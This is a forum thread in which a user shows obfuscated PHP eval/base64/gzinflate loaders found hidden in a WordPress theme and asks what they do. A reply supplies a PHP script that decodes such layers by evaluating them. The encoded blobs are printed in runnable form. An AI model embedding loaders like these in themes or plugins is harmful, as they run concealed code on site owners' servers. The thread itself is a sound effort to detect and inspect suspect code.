Decode this

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Davy
    Confirmed User
    • Apr 2006
    • 4323

    #1

    Decode this

    Anybody know what this code does?

    PHP Code:
    <?php eval(gzinflate(base64_decode('tZLBasQgEIbPzVMMuSS9rLDH1prDnnvZLPQYks1kFYyKmoZ9+05j3cJSaC8VxHH8//EbmEYUD7S4VoLLvXjF2HNGQcouOgXpvQfpcXopeeOkg0HbizKTrSsfwr5bvK4en6ERJUQVNWZZh3XVXs2ozn1EiFIFCIqiJShzgWPbfrnEt5z3w+BzlSP2Wl+hVbPTCLmSsqYUZObsUytSDbrQJtI/MJ/tPKOJofsV/iQRNLGHCNkE0QJRgbOBLsr83MYhq/+jHxmje2JsXdfd6qLEGcPkEXeEyG5NvFk/Oo8hwGlTlOI+c//FBr+6bqY5qDeINAgsT0ISF7cUZ6N6F0U6NnsBHw==')));?>
    Found it in a wordpress theme. I am glad I checked it before uploading.
    ---
    ICQ 14-76-98 <-- I don't use this at all
  • Davy
    Confirmed User
    • Apr 2006
    • 4323

    #2
    Found another dubious code in the same theme set:

    PHP Code:
    <?php $_F=__FILE__;$_X='Pz4JCQkJPC9kNHY+DQoJCQk8L2Q....';
    eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
    Too long to show on here...
    ---
    ICQ 14-76-98 <-- I don't use this at all

    Comment

    • budz
      Disruptive Innovator
      • Sep 2003
      • 4230

      #3
      PHP Code:
      <? 
      $filename = "encoded.php";
      echo  "1. checking files <br />\n";
      if (!file_exists($filename)) 
      {
      echo "error , file encoded.php is not uploaded.<br />\n";
      
      if
      (!is_writable($filename))
      echo "error , file decoded.txt is not writable. chmod it to 0777 or 777.<br />\n";
      exit();
      }
      else
      {
      $fp1  =  fopen  ( $filename ,  "r" ); 
      $contents  =  fread  ( $fp1 ,  filesize ( $filename )); 
      fclose ( $fp1 ); 
      echo  "2. Decoding encoded.php<br />\n"; 
      while ( preg_match ( "/eval\(gzinflate/" , $contents )) { 
      $contents = preg_replace ( "/<\?|\?>/" ,  "" ,  $contents ); 
      eval( preg_replace ( "/eval/" ,  "\$contents=" ,  $contents )); 
      }
      echo  "3. Copying source data to decoded.txt. click below to view source data.<br />\n" ; 
      $fp2  =  fopen ( "decoded.txt" , "w" ); 
      fwrite ( $fp2 ,  trim ( $contents )); 
      fclose ( $fp2 ); 
      echo "<center>\n";
      echo "<form action=\"decoded.txt\" method=\"post\">\n";
      echo "<input type=\"submit\" value=\"View Source Code\" /><br />\n";
      echo "<br/ ><br/ >\n";echo "<a href=\"http://www.haryanahome.info\">HaryanaHome.info</a>\n";
      echo "</form>\n";
      echo "</center>";
      }
      ?>
      Requirement: Just any version of PHP.
      Note: I am not author of this script. credit goes to Jurgan(the mastermind).I have just made it easy and compitable with all PHP version.
      Please dont use this script for removing copyrights and any illigal task.
      Respect others hardwork..
      It is just for education purpose.
      The package contains 4 files:
      1. readme.txt
      2. index.php
      3. decoded.txt the blank file which will copy your source code.
      4. encoded.php An example encoded script.
      Remember you may have text like <!-- Copyright info and rules//-> Remove it before starting your decoding. Your encoded script should look like this <? eval(gzinflate(base64_decode('
      DZVFEqQIAAS/MreZCQ7QOLEy...')); ?> or <? eval(gzinflate(str13(base64_decode('
      DZVFEqQIAAS/MreZCQ7QOLEy...'))); ?>

      Procedure:
      1. All you need to do ,just upload these two files (index.php & decoded.txt to any of your server directory.
      2. Chmod the blank file decoded.txt to 0777 or 777.
      3. Rename the script you want to decode to encoded.php and put in the same directory as decoded.txt and index.php are.
      4. Point your browser to www.yoursite.com/dir where 3 files are/index.php
      5. You will get the source code in hand .enjoy
      6. you are free to edit and modify but be careful as it is case sensitive.Dont loose orginal file. Offcorse all credit goes to jurgan.

      hope this helps..
      Last edited by budz; 05-11-2008, 10:02 AM.
      C:\Code\
      C:\Code\Run\

      Comment

      • budz
        Disruptive Innovator
        • Sep 2003
        • 4230

        #4
        Source:


        http://haryanahome.info/forum/showpo...=3&postcount=1
        C:\Code\
        C:\Code\Run\

        Comment

        Working...